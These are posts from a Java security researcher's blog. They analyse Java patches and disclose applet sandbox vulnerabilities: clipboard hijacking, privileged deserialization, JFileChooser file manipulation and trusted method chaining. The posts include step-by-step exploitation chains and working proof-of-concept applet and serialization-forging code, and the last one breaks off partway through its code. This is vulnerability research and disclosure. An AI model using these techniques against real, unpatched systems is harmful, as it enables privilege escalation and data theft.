Tuesday, June 07, 2011

Java 6 update 26 is out

Blog Update: I mapped some of the CVEs to these results.


Oracle has released a security update for Java. If you have Java installed and haven't updated your Java yet, do it now. I'll wait.

No, really. I'm not going on until you do.

...

OK, great. Now, I'm going to try something new and analyze the differences between Java 6 update 25 and Java 6 update 26. And we'll try to figure out what the underlying vulnerability might have been.

For the comparison, I'll be using my rather stale open source project reJ/rejava. You feed it two .jars and it does a binary comparison of each of the files in the .jar, and indicates which files are new, removed, or changed. It then allows you to open these changed files and it does another diff on method level, and yet another on the bytecode level of each changed method. It works OK, sometimes the algorithm consumes all the memory available, though.

Let's get started:

File: rt.jar (the runtime - heart and soul of Java):

Package: sun.util.resources
TimeZoneNames
TimeZoneNames_de
TimeZoneNames_es
TimeZoneNames_fr
TimeZoneNames_it
TimeZoneNames_pt_BR
TimeZoneNames_sv

These are not security related, just updating the time zone data. OK, I got curious. rej chokes on these files, because they're big. It seems the change is more or less the same as this:

http://hg.openjdk.java.net/jdk7/build/jdk/rev/55f97ad0a36e

Namely the addition of America/Metlakatla and America/Sitka


Package: sun.misc
Version

Also not security related. Updated the version strings to update 26.


Package: sun.java2d.pipe
DrawImage

Not security related. The line numbers have changed, maybe a comment added to the code. I'm compaing the rt.jar from the JDK which has debugging information (like source-code line number information) included.


Package: javax.swing
ImageIcon

This is security related. But from a quick look, I can't figure out what the vulnerability is. The source for this class is available in the src.zip of the JDK for both versions. The ImageIcon has a static protected component field whose appContext field is set to null in a privileged block. In the new version this component is instantiated in another doPrivileged block which removes all it's permissions.

It was found that the MediaTracker implementation created Component instances with unnecessary access privileges. A remote attacker could use this flaw to elevate their privileges by utilizing an untrusted applet or application that uses Swing. (CVE-2011-0871)


Package: java.security
SignedObject

This looks security related as well. Also available in the src.zip. SignedObject's readObject method has been updated. The update 25 version looked like this:
s.defaultReadObject();
content = (byte[])content.clone();
signature = (byte[])signature.clone();

and the update 26 looks like this:

java.io.ObjectInputStream.GetField fields = s.readFields();
content = ((byte[])fields.get("content", null)).clone();
signature = ((byte[])fields.get("signature", null)).clone();
thealgorithm = (String)fields.get("thealgorithm", null);

This might be related to the problems of serialization I wrote about. In the old version you could deserialize a SignedObject and get a reference to it, and the internal byte arrays for content and signature and pause the deserialization process before the two fields were replaced by clone().

A flaw was found in the way signed objects were deserialized. If trusted and untrusted code were running in the same Java Virtual Machine (JVM), and both were deserializing the same signed object, the untrusted code could modify said object by using this flaw to bypass the validation checks on signed objects. (CVE-2011-0865)


Package: java.net
NetworkInterface

This a fix to the NetworkInterface.toString() method spilling out IP addresses, etc that I presented as an example of Trusted Method Chaining at the t2 infosec conference in 2010 and blogged about earlier this year. Kudos to Oracle for reading my blog. Now the toString() method doesn't return IP addresses anymore.

An information leak flaw was found in the NetworkInterface class. An untrusted applet or application could use this flaw to access information about available network interfaces that should only be available to privileged code. (CVE-2011-0867)


Package: com.sun.xml.internal.messaging.saaj.client.p2p
HttpSOAPConnection

This is a fix to another slight issue I talked about at the t2 infosec conference, the HttpSOAPConnection class used to do HTTP requests that violated the same origin policy. That has been fixed. And as a bonus, this class used to set system proxy settings, which I hadn't mentioned anywhere, but which was on my TODO list. I guess I can remove it now. I didn't blog about that, so I guess that means Oracle also looked at my presentation slides. Nice.

It was found that untrusted applets and applications could misuse a SOAP connection to incorrectly set global HTTP proxy settings instead of setting them in a local scope. This flaw could be used to intercept HTTP requests. (CVE-2011-0869)



Package: com.sun.org.apache.bcel.internal.classfile
Utility

OK, you guessed right. This fixes yet another issue I talked about at the t2 infosec conference, and blogged about here. That is, this class which seems to originate from the BCEL project, had some funky logic which lead to a System.exit(), if instrumented in the right way. The System.exit() has been removed.


File: plugin.jar (as the name suggests, this has Java plugin specific stuff)

No changes.


File: resources.jar

No changes.


File: jsse.jar (Java Secure Socket Extension)

No changes.


File: jce.jar (Java Cryptography extension)

No changes.


File: javaws.jar (Java Web Start)

No changes.


File: deploy.jar

Package: com.sun.deploy.config
Config

There's a binary difference, but reJ doesn't detect any bytecode differences. I'm guessing this is another linenumber difference.


Package: com.sun.deploy.util
JVMParameters
SecurityBaseline
URLUtil

SecurityBaseline has version information which has been updated.

JVMParameters has a change that has something to do with verifying if a Parameter is secure, but I can't figure out what's the net effect here. This seems to be clearly security related, but I can't figure out how severe. Update: I'm guessing this might be related to: ZDI-11-192 by Chris Ries.

URLUtil has a change in the checkTargetURL method which that deals with jar and file URLs. This also seems to be clearly security related, but I can't figure out how severe.

Update: As pointed out in the comments, this seems to be the fix for non-security bug, Bug ID 7020709. Thanks @mihi42!


File: charsets.jar

No changes.


File: sunpkcs11.jar

Package: sun.security.pkcs11
Config
ConfigurationException
P11Cipher
Secmod

Config and Secmod seem to have real changes, but I'm not familiar enough with the pkcs packages to quickly assess what's going on.

By my counts that means that the majority of the fixed issues are in the native side, which I won't be dealing with here.

Wednesday, June 01, 2011

Inflated Java Malware Infection Rates

In the past year or so, I've read many articles on Java malware (most recently Gregg Keizer's article at Computer World and Dustin's blogpost at "Inspired by Actual Events" ). The fact that many of the top offenders are based on vulnerabilities I've found (CVE-2008-5353, CVE-2010-0840, CVE-2010-0094) makes me wince every time I read one of these (I don't consider myself to be one of the bad guys just because I like to break things).

None of the articles pointed out one important thing that might very well be distorting Java malware infection rates, and it's this: The fact that Microsoft Security Essentials, or any other Anti-virus correctly identified the presence of a malicious piece of Java code on a user's machine does not mean that user was infected. Infection might not even be likely.

The way Java works with Applets is that when there's an applet tag on a page, Java downloads the relevant code and saves it in the Java cache (...\username\Application Data\Sun\Java\Deployment\cache). The code is then executed from disk. If your Java is up-to-date, CVE-2008-5353, CVE-2010-0840, CVE-2010-0094 all fail to execute, resulting in a SecurityException. But the offending code will remain in the cache and Security Essentials will find it and report it. It will inflate the statistics.

I verified this on a Windows XP with the latest Java (Java 6 update 25), executing the CVE-2008-5353 Applet from Metasploit, which is detected by Security Essentials. As the Java is up-to-date, the exploit never executed. Nevertheless Security Essentials correctly identified CVE-2008-5353.

In conclusion, I do recognize that Java is notoriously badly updated by a big part of the user base and we wouldn't see tons of Java malware if some of it wasn't successful, but I think the Java malware infection rates are inflated by cases where users have malware in their cache that was never able to escape the sandbox of an updated Java.

Thursday, March 10, 2011

Oracle Java Applet Clipboard Injection Remote Code Execution Vulnerability

Multiple Java Clipboard Vulnerabilities for Applets

ZDI Identifier: ZDI-11-083
CVE Identifier: CVE-2010-4465
Vulnerable Java versions: Java 6u23 and older.

Abstract

Java has a basic mechanism protecting the system clipboard from being programmatically accessed by sandboxed code. Such operations will instead automatically act on an application-scope, local clipboard. However, this mechanism can be trivially bypassed.

Additionally, with the TransferableProxy class, the clipboard can be used for privileged deserialization.


Vulnerability 1 - Hijacking system clipboard upon user action

Should the user press CTRL+C or CTRL+X with the focus in a custom component, a reference to the system clipboard can be obtained and held onto for the rest of the lifetime of the applet. This would enable an applet to eavesdrop passwords or other sensitive information that might already exist or come to exist on the clipboard. Also, the applet might alter the data on the clipboard.

This is achieved by adding a custom (javax.swing.)TransferHandler to any focusable GUI component. Upon a copy/cut operation initiated by a user, the windowing framework calls the exportToClipboard method of the TransferHandler passing a reference to the System clipboard (in Windows environment, an instance of the class sun.awt.windows.WClipboard).


Vulnerability 2 - Automated hijacking of system clipboard

Same as the first vulnerability, but automating the system clipboard hijack by triggering the copy operation automatically and thus gaining access to the system clipboard without requiring any user action. This is done by creating a new AWT EventQueue and putting a KeyEvent for a copy operation on the queue.


Vulnerability 3 - Privilege escalation via privileged deserialization

A TransferableProxy object can be put on the clipboard. Any object contained within the TransferableProxy will be serialized upon a copy action and deserialized upon a paste action. The paste action can be invoked in such a manner that no untrusted code will be on stack (using javax.swing.Timer), effectively doing an implicitly privileged deserialization. The problems of privileged deserialization have been well established. The easiest way to exploit it is to create a Serializable subclass of ClassLoader which can then be used to define classes with full privileges. An unsigned applet will thus gain the full privileges of the user running the browser.

More specifically this attack is carried on by executing the following steps:

  • Set up a JTextField component on the screen
  • Define a custom TransferHandler to handle the copy/paste operations of the text field
  • Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+C keystroke
  • Use javax.swing.Timer to execute said copy action
  • This causes the Java event framework to call exportToClipboard on our custom TransferHandler
  • Create a TransferableProxy containing a custom Transferable object

TransferableProxy is in the sun.awt.datatransfer package and can't be instantiated with the "new" keyword, as the SecurityManager won't allow direct access to sun.* packages.

Instead, the method createTransferableProxy() of class java.awt.dnd.DropTargetContext is used. It's a trusted class and the method wraps a given Transferable object into a TransferableProxy object and returns it.

However, the createTransferableProxy() method is an instance method (non-static) and has the access modifier "protected" so we need to subclass DropTargetContext and create a public method we can call which then calls the protected method.

We call the public method wrapTransferable(). It takes a Transferable object as a parameter and returns a TransferableProxy which contains the given Transferable object.

DropTargetContext constructor has the access modifier "default" so not even our subclass can access it. But DropTargetContext is a Serializable class, so we can create our subclass which the compiler says is wrong because the superclass constructor isn't visible, but the JVM doesn't enforce this as long as we instantiate our object by deserialization. Sounds familiar?

So we forge serial data which contains an instance of our subclass and use it to deserialize a DropTargetContext2 (our subclass) instance. The subclass has the public wrapTransferable() method, which we call, passing a custom Transferable (EvilTransferable) object to be wrapped.
  • Put the resulting TransferableProxy on the clipboard
  • Obtain a TransferAction instance by asking the JTextField to give the action corresponding to the CTRL+V keystroke
  • Use javax.swing.Timer to execute said paste action
  • This will cause the TransferableProxy.getTransferData() method to be called in a privileged context
In order to get here, the DataFlavor of our custom Transferable (EvilTransferable) does a trick where it checks the caller of the getSubType() by creating a String of the current stacktrace and returns "x-java-jvm-local-objectref" as the subType if the caller is TransferHandler.getPropertyDataFlavor, but returns "application/x-java-serialized-object" for all the other callers. This is a dirty hack to satisfy a condition in the getTransferData() method and to force a desired execution flow.
  • Said method calls getTransferData() on the contained custom Transferable (EvilTransferable) object
  • EvilTransferable obtains a case3.CL object loaded by the second applet tag on the page
The class of this object has the same name and same serialization signature as our classloader subclass, but it's a different class, one that doesn't extend ClassLoader and that can be instantiated easily. Because it was defined by another classloader (because of the 2nd applet tag where it was defined), it can have the same full name.

EvilTransferable puts this object into the first index of an Object array, and in the second index it puts an instance of the Class object of the local case3.CL. The serialization/deserialization of TransferableProxy stores the ClassLoader of each object in a map where the key is the classname. The class object in the array confuses this map, and the local classloader is used for deserializing the case3.CL object, and not the other applet classloader.
  • EvilTransferable returns an array containing a case3.CL object and a case3.CL class object
  • TransferableProxy.getTransferData() serializes the CL object into a byte array
  • TransferableProxy.getTransferData() deserializes the byte array data
  • The deserialized CL object is initialized because the deserialization happens in (an implicitly) privileged context (no untrusted code on stack at this point)
  • The CL object, upon deserilization (in the readObject() method), defines a malicious class with full privileges and executes it

The Outcome

Potentially harmful Java code from an untrusted source gains read/write access to system clipboard (vulnerabilities 1&2), and full privilege escalation to do anything with the privileges of the user running the browser (vulnerability 3).


Exploitation vectors

User, using any browser with applets enabled, accesses a malicious page with an applet tag, or a page with an injected malicious applet tag.


The Fix

In Java 6 update 24 Oracle fixed this issue, along with the JFileChooser issue I had blogged about earlier.

A quick analysis suggests it's a pretty good fix. Starting with the obvious, Timer now captures the access control context when initialized and uses that context for execution. No more javax.swing.Timer freebies.

But Oracle went further than that and now Components and AWTEvents also capture the AccessControlContext when they are initialized. And when the event thread is processing events it does an intersection of current permissions, the permissions of the event and the permissions of the source component of that event.

Sunday, February 06, 2011

Java JFileChooser Programmatic Manipulation Vulnerability

Java GUI Manipulation Vulnerability

This bug reaches the severity threshold where ideally I wouldn't talk about it until a fix has been issued, but as the Facebook relationship status would put it: It's complicated. It doesn't qualify for ZDI because I already notified Sun by myself in 2008 about various vulnerabilities, first via their bug tracking (I didn't know any better) system and later on via e-mail to their security address, which resulted in the famous Calendar Serialization issue getting fixed. This JFileChooser issue just never got fixed. To be clear: after 2008, they never got back to me and I didn't harass them to fix it.

JFileChooser and FormView allow unsigned applets to read file-system structure (file/folder names), renaming files and moving files

Affected Operating Systems (at least): Windows XP, Windows 7
Affected Java Versions (at least): Java 6 update 23

Details

javax.swing.JFileChooser is a Java Swing component that allows the user to choose a file on the local filesystem. It cannot normally be used on an applet, because the initialization tries to read the user.home system property which is not permitted. So, if you try to do a "new JFileChooser()" you get a SecurityException and you won't get a handle to any object. And if you use the finalizer attack, you get an instance that isn't really functional.

This is where javax.swing.text.html.FormView comes in. It has a createComponent() method, which - with the right setup - creates a bunch of objects, one of them being a button, whose ActionListener creates a JFileChooser. That ActionListener can be extracted and then javax.swing.Timer can be used to execute the ActionListener.

Timer is used for executing ActionListeners in a timed fashion, and due to that nature, it executes them on a separate Thread which has no user code on the stack. In other words, it executes ActionListeners in a privileged context. Thus, the JFileChooser constructor runs fine.

So, a JFileChooser is created and displayed on the screen and the user can interact with it, but that doesn't do us much good, since we don't even have a reference to the JFileChooser. That's where Window.getWindows() comes in. It returns an array of all Windows accessible to the Applet, the JFileChooser being one of them. This way we get a reference to our JFileChooser instance.

What can we do with a JFileChooser? It only has methods for getting the selected file(s), once the user has made his selection and that's no good.

We can, however, define a FileFilter for the JFileChooser and that's interesting, because it'll receive File objects for each file in the current directory (so it can tell JFileChooser whether or not to display the file in question). This happens for the initial folder and also for any other folders, should the user navigate elsewhere with the JFileChooser. But since the user is not expecting to see a file chooser dialog, not a lot of navigation is to be expected.

There's an even better method to interact with the JFileChooser. Java AWT/Swing superclass java.awt.Component provides the method getComponents() which returns an array of child components. This way if you start at the top, in this case the JFileChooser, you can navigate to all the child components of the GUI, the buttons, the comboboxes, everything. Combine that with the fact that javax.swing.Timer can be used to execute the ActionListeners of any of these GUI components and you can pretty much simulate any user action on the JFileChooser.

So, we can view the file system structure of the machine running the applet. The JFileChooser has two additional interesting functionalities, which are the following: It can create empty folders and it can rename files and folders. Also, renaming files to "../newname" moves them toward the root in the filesystem and renaming files to "folder/newname" moves them into the folder. This means we can also move the files and folders.

Depending on other configuration like operating system, etc, this might be used for delayed Remote Code Execution. For example, a .jar might be moved from the Java Cache into the Java extension folder which has higher permissions. Or imagine an executable posing as an image, which gets renamed, then moved to a system folder.


Original bug report (2008)

Bug ID: 6764977
Review ID: 1379484

Date Created: Sun Oct 26 19:59:11 MST 2008
Type: bug
Customer Name: Sami Koivu
Customer Email: sami.koivu@gmail.com
SDN ID: sami.koivu@gmail.com
status: Waiting
Category: java
Subcategory: classes_swing
Company: IT7 Solution Technology
release: 6u10
hardware: x86
OSversion: win_xp
priority: 4
Synopsis: FormView allows untrusted applet read access to the filesystem structure
Description:
FULL PRODUCT VERSION :
java version "1.6.0_10"
Java(TM) SE Runtime Environment (build 1.6.0_10-b33)
Java HotSpot(TM) Client VM (build 11.0-b15, mixed mode, sharing)

ADDITIONAL OS VERSION INFORMATION :
Microsoft Windows XP [version 5.1.2600]

A DESCRIPTION OF THE PROBLEM :
javax.swing.text.html.FormView allows an untrusted applet to instantiate a JFileChooser in the event thread without untrusted applet code on the stack thus escaping intervention of a SecurityManager.

FormView can be subclassed and instantiated in such a way that the createComponent method returns a Component which contains a button whose ActionListener is the inner class BrowseFileAction.

This BrowseFileAction can then be extracted and executed via javax.swing.Timer on the event thread. The important thing to notice is that there will be no applet code on the stack and thus the applet security manager will allow the operation.

A JFileChooser dialog is opened. A reference to this dialog can be obtained via Window.getWindows(). Through this reference, using the AWt/Swing component structure (basically calling getComponent() to access the children of each GUI component) the filenames in the current (default) directory can be obtained. The dialog can also be manipulated in order to change the current browsing directory in the same fashion. Thus the whole directory structure on the system of the user running the applet could be obtained.

Unconfirmed, but it seems probable it would be possible to stimulate the file rename functionality as well, allowing an untrusted applet to rename any file on the system of the user running the applet.

It should also be noted that the dialog can be made invisible as soon as a reference to it is obtained (causing the dialog to only briefly appear on the screen).

I have a raw example of this available if absolutely necessary, but it is rather verbose and not very readable.

STEPS TO FOLLOW TO REPRODUCE THE PROBLEM :
Stimulate FormView.BrowseFileAction to show a JFileChooser dialog.

EXPECTED VERSUS ACTUAL BEHAVIOR :
EXPECTED -
Either the action object is somehow made inaccessible or security manager will perceive somehow that there is applet code behind this operation disallowing the operation.
ACTUAL -
A JFileChooser object is instantiated and displayed on the screen and can be manipulated in a manner that will at the very least invade the privacy of the web surfer.

REPRODUCIBILITY :
This bug can be reproduced always.


Evaluation from Sun Microsystems (2008)
It's perfectly correct to create JFileChooser under SecurityManager,
and in this case user will be able to browse the file structure,
it is *the code* who will not be able to do anything with those files

The bug's description doesn't show any way how an untrusted applet can read
the filesystem structure, we need more information
Posted Date : 2008-11-10 15:06:03.0


My response to evaluation (2008)
Ok, maybe the initial bug description was too superficial.

Here's a more detailed one. I'll do a bullet list and if necessary I can later be more specific on any single item.

* An instance of FormView's private inner class BrowseFileAction can be extracted.

* Said instance can be executed with javax.swing.Timer. The Timer class is used to executed ActionListeners in a timed fashion. When the Timer class is used to execute core ActionListeners only trusted code will be on stack and the security manager allows everything. BrowseFileAction is not the only problem. (BasicFileChooserUI.NewFolderAction can be used to create folders and there must be other vulnerable ActionListeners in the rt.jar, as well).

* When executed, BrowseFileAction opens a JFileChooser dialog. This alone might be acceptable or not. Keep reading.

* The java.awt.Window class has a method called getWindows() which according to the javadoc: "Returns an array of all {@code Window}s, both owned and ownerless, created by this application."

* Said method can be used to obtain a reference to the window which contains the JFileChooser instance. This goes something like:
JDialog dlg = (JDialog) Window.getWindows( ... );
JRootPane root = dlg.getRootPane();
JLayeredPane layered = (JLayeredPane) root.getComponent(1);
JPanel panel = (JPanel) layered.getComponent(0);
JFileChooser fc = (JFileChooser) panel.getComponent(0);

* (if you set your custom FileFilter on this instance, it will call your FileFilter's accept method once which each file of the current directory *the code* will be receiving this information)

* You can use the Container.getComponent(int) method on the JFileChooser to obtain all the direct and subcomponents of the JFileChooser. That is, the JComboBox subclass which controls the current directory and the sun.swing.FilePane object which contains a JList which contains the files in the current directory. You would go about it like this (YMMV):

JPanel panel = (JPanel) fc.getComponent(0);
JComboBox combo = (JComboBox) panel.getComponent(2);

* You can manipulate the JComboBox to change the current directory. You might, for instance, obtain the actionlisteners of the combobox, remove them from the combobox, set the seleted index of the combobox to a different value and then user javax.swing.Timer to execute the actionlisteners to update the JFileChooser.

* You can get the action for editing a filename from the FilePane in the same way described above. You can then execute the EditActionListener using javax.swing.Timer. This will cause the JFileChooser to display a JTextField for editing the filename. A reference to this JTextField can be obtained as described above (Container.getComponent(int)). The value of the text can be change by *the code* (setText(String) and another action can be invoked via javax.swing.Timer to tell JFileChooser that editing has terminated which will cause it to rename the file. Or move the file, if the file is renamed to "../filename" or "folder/filename".


Example - Caution, running this will rename and move a file on your system

(This works on Windows XP/Windows 7, file renaming doesn't work on Linux though it might be possible with extra effort)

It pops up a JFileChooser, goes to the first folder in the Location combobox, selects the 6th file and prefixes the name with "new" and moves it to the parent directory.

EDITED: This link is just the source code of the example. Safe to click. In order to run it you would need to compile it and create a page with an applet definition.

http://pastebin.com/mTCztGbQ

Tuesday, February 01, 2011

Trusted Method Chaining for Network Interface details

Here's yet another Trusted Method Chaining instance. This one can be used for listing network interface details. No need for anything tricky (such as classes created with a custom compiler) this time. However, since this is an information leak, it's not simply enough to call the method - we need to get our hands on the return value, as well. I'm not sure if it could be scraped off of the screen, but it's really simple to define our own renderer to which the GUI passes the information quite handily.

By the way, this instance and the previous one along with some others were uncovered by a prototype of an automated tool that searches a set of classes for interesting chaining instances.

This one's simple:
  • java.net.NetworkInterface.getNetworkInterfaces() returns an Enumeration of network interfaces, in the form of NetworkInterface objects.
  • NetworkInterface.toString() calls getInetAddresses()
  • NetworkInterface.getInetAddresses() has a security check, so it can't be called directly

To create the chain:
  • Put all NetworkInterface objects in a JList
  • Make JList visible

To get the programmatic access to the values, we can set a DefaultListCellRenderer subclass as the renderer for the JList. The setText() method of our renderer receives all displayed values.

Here's an example that gets all the interface information and dumps it to the Java console. It probably gets repeated a few times because of how the Java GUI works:

001 package ex6.chaining.networkinterfaces;
002 
003 import java.applet.Applet;
004 import java.net.NetworkInterface;
005 import java.util.Enumeration;
006 import java.util.Vector;
007 
008 import javax.swing.DefaultListCellRenderer;
009 import javax.swing.JList;
010 
011 public class Example extends Applet {
012     public void start() {
013         Vector interfaceList = new Vector();
014         try {
015             Enumeration en = NetworkInterface.getNetworkInterfaces();
016             while (en.hasMoreElements()) {
017                 interfaceList.add(en.nextElement());
018             }
019         } catch (Exception e ) {
020             e.printStackTrace();
021         }
022         JList jlist = new JList(interfaceList);
023         jlist.setCellRenderer(new DefaultListCellRenderer() {
024             
025             public void setText(String text) {
026                 System.out.println("::" + text);
027                 super.setText(text);
028             }
029         });
030         this.add(jlist);
031     }
032 }


It should vomit something like this on the Java console (System.out)

Linux:

::
::name:eth1 (eth1) index: 3 addresses:
/fe80:0:0:0:212:34ff:fe56:789a%3;
/172.21.0.108;

::name:lo (lo) index: 1 addresses:
/0:0:0:0:0:0:0:1%1;
/127.0.0.1;

...

Windows:

::
::name:lo (MS TCP Loopback interface) index: 1 addresses:
/127.0.0.1;

::name:eth0 (AMD PCNET Family PCI Ethernet Adapter - Miniporta do agendador de pacotes) index: 65539 addresses:
/172.21.0.110;

...

Sunday, January 30, 2011

Trusted Method Chaining to a System.exit

More details on the chaining instance I mentioned in my talk. This one is not a remote code execution vulnerability, it simply about calling System.exit from an applet (which shouldn't be allowed, but doesn't really do anything interesting). It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario.

The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:


That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:

-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object

-The toString() method calls Utility.codeToString()

-Utility.codeToString() has the above piece of code

The code to do that:

001 package ex6.chaining.systemexit;
002 
003 import java.applet.Applet;
004 
005 import javax.swing.JList;
006 
007 import com.sun.org.apache.bcel.internal.Constants;
008 import com.sun.org.apache.bcel.internal.classfile.Attribute;
009 import com.sun.org.apache.bcel.internal.classfile.Code;
010 import com.sun.org.apache.bcel.internal.classfile.CodeException;
011 import com.sun.org.apache.bcel.internal.classfile.Constant;
012 import com.sun.org.apache.bcel.internal.classfile.ConstantPool;
013 
014 public class Example extends Applet {
015     public void start() {
016         // modify the final array elements
017         Constants.NO_OF_OPERANDS[0] = 1;
018         Constants.TYPE_OF_OPERANDS[0] = new short[1];
019         byte[] codebytes = new byte[] {0, 0, 0};
020         Code code = new Code(1, 1, 0, 0, codebytes, new CodeException[0], new Attribute[0], new ConstantPool(new Constant[0]));
021         JList list = new JList(new Object[] {code});
022         this.add(list);
023     }
024 }

Wednesday, January 19, 2011

Hazards of Duke

I did a talk on Java Sandbox (in)security at the end of October last year, at the t2 security conference.

Here are the slides for that talk: Hazards of Duke / Java Sandbox (in)security

For the readers of this blog, there shouldn't be too many new things. There are, however some new (in the sense that they haven't been fixed and I haven't discussed them on the blog) vulnerabilities discussed:

  • A chaining instance that calls System.exit() and kills the virtual machine.
  • A chaining instance that lists all network interfaces (IP addresses, etc).
  • A programmatic GUI manipulation attack that allows renaming and moving files using the JFileChooser class. This one would be severe enough for me to pass on to ZDI, but it's ineligible, because I already informed Sun Microsystems about it in 2008. There are some clues in the slides, but I demoed the issue at my talk and I can give a practical example here, too.

Tuesday, October 12, 2010

Java 6 Update 22 is out

Quick post on Java 6 Update 22 which was released on October 12th.

None of my vulnerabilities awaiting to be fixed on the Coordinated Vulnerability Disclosure front were actually fixed in this release, but a quick binary compare of releases 21 and 22 reveals that some of the stuff I've covered on the blog were addressed.

The Corba ObjectUtility problems I discussed were fixed.

And several of the serialization issues were addressed. It looks like they created a cute little mechanism for preventing external calls to defaultReadObject/defaultWriteObject. And the problem of repeated fields also seems to be addressed. The early reference stuff can't really be fixed, because it is a feature. And that means you can still create an Integer object that has 0 as its value and then later at an arbitrary moment changes it's value to something else.

Sunday, August 08, 2010

Breaking Defensive Serialization

(This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization.)

So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that.

In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data.

Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post.

So I decided on an "annotated" Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times.

So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization.

001 package util;
002 
003 public class Repeat {
004   private int count;
005   private Object[] data;
006 
007   Repeat(int count, Object[] data) {
008     this.count = count;
009     this.data = data;
010   }
011 
012   public static Repeat me(int count, Object ... data) {
013     return new Repeat(count, data);
014   }
015 
016   public int getCount() {
017     return count;
018   }
019   
020   public Object[] getData() {
021     return data;
022   }
023 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.ByteArrayInputStream;
005 import java.io.ByteArrayOutputStream;
006 import java.io.DataOutputStream;
007 import java.io.IOException;
008 import java.io.InputStream;
009 import java.io.ObjectInputStream;
010 
011 public class Converter {
012   
013   public static ObjectInputStream convert(Object[] objs) throws IOException {
014     ObjectInputStream ois = new ObjectInputStream(getStream(objs));
015     return ois;
016   }
017   
018   public static InputStream getStream(Object[] objs) throws IOException {
019     ByteArrayOutputStream baos = new ByteArrayOutputStream();
020     DataOutputStream dos = new DataOutputStream(baos);
021     for (Object obj : objs) {
022       treatObject(dos, obj);
023     }
024 
025     ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
026     BufferedInputStream bis = new BufferedInputStream(bais);
027     return bis;
028   }
029 
030   private static void treatObject(DataOutputStream dos, Object obj)
031       throws IOException {
032     if (obj instanceof Byte) {
033       dos.writeByte((Byte) obj);
034     } else if (obj instanceof Short) {
035       dos.writeShort((Short) obj);
036     } else if (obj instanceof Integer) {
037       dos.writeInt((Integer) obj);
038     } else if (obj instanceof Long) {
039       dos.writeLong((Long) obj);
040     } else if (obj instanceof String) {
041       String str = (String) obj;
042       dos.writeUTF(str);
043     } else if (obj instanceof Repeat) {
044       Repeat r = (Repeat) obj;
045       for (int i = 0; i < r.getCount(); i++) {
046         for (Object o2 : r.getData()) {
047           treatObject(dos, o2);
048         }
049       }
050     } else {
051       System.out.println("strange type in data array: " + obj.getClass());
052     }
053   }
054 
055 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.IOException;
005 import java.io.InputStream;
006 
007 public class EvilSplitStream extends BufferedInputStream {
008   InputStream alternate = null;
009   public EvilSplitStream(InputStream is) {
010     super(is);
011   }
012   
013   public synchronized int read() throws IOException {
014     if (alternate != null) {
015       return alternate.read();
016     }
017     return super.read();
018   }
019   
020   public int read(byte[] b) throws IOException {
021     if (alternate != null) {
022       return alternate.read(b);
023     }
024     return super.read(b);
025   }
026   
027   public synchronized int read(byte[] b, int off, int len) throws IOException {
028     if (alternate != null) {
029       return alternate.read(b, off, len);
030     }
031     return super.read(b, off, len);
032   }
033   
034   public void rewrite(InputStream is) {
035     this.alternate = is;
036   }
037 
038 }


With those out of the way, let's look at the cases in the same order of the last post.

1) Example from Joshua Bloch's Effective Java (Item 76):

001 package ser1;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 import java.io.PrintStream;
008 import java.util.Calendar;
009 import java.util.Date;
010 
011 import util.Converter;
012 
013 public class MutableDate extends Date implements ObjectStreamConstants {
014   private static final long serialVersionUID = 1L;
015 
016   private Period period;
017   
018   static final Object[] _DATA = new Object[] {
019     STREAM_MAGIC, STREAM_VERSION, // stream headers
020     
021     TC_OBJECT,
022     TC_CLASSDESC,
023       Period.class.getName(), // A Period object
024       (long) 7141649437422996369L, // serialVersionUID
025       (byte) 2, // classdesc flags
026       (short) 2, // field count
027       (byte) 'L', "start", TC_STRING, "Ljava/util/Date;", // start field
028       (byte) 'L', "end", TC_STRING, "Ljava/util/Date;", // end field
029     TC_ENDBLOCKDATA,
030     TC_NULL, // no superclass
031 
032     // field value data
033     TC_OBJECT, // value for Period.start field
034     TC_CLASSDESC,
035       MutableDate.class.getName(), // MutableDate object
036       (long) 1, // serialVersionUID
037       (byte) 2, // flags
038       (short) 1, // field count
039       (byte) 'L', "period", TC_STRING, "Lser1/Period;", // MutableDate.period
040     TC_ENDBLOCKDATA,
041     TC_NULL, // no superclass
042 
043     TC_REFERENCE, baseWireHandle + 3, // value for MutableDate.period
044     // which is a ref to the Period object defined above
045     TC_REFERENCE, baseWireHandle + 6, // value for Period.end
046     // which is a ref to the same MutableDate object defined above
047   };
048 
049   public static void main(String[] args) throws Exception {
050     Converter.convert(_DATA).readObject();
051     // throw away the read object here, because after readObject returns
052     // it truly has become immutable and useless
053   }
054 
055   
056   volatile static int pos = 0;
057   static long[] values = {new Date(2008-1900, Calendar.MAY, 1).getTime(),
058     new Date(2009-1900, Calendar.JULY, 4).getTime(),
059     new Date(2010-1900, Calendar.DECEMBER, 24).getTime(),
060     new Date(2010-1900, Calendar.AUGUST, 8).getTime()};
061   
062   public long getTime() {
063     if (pos >= values.length) {
064       return 0;
065     }
066     
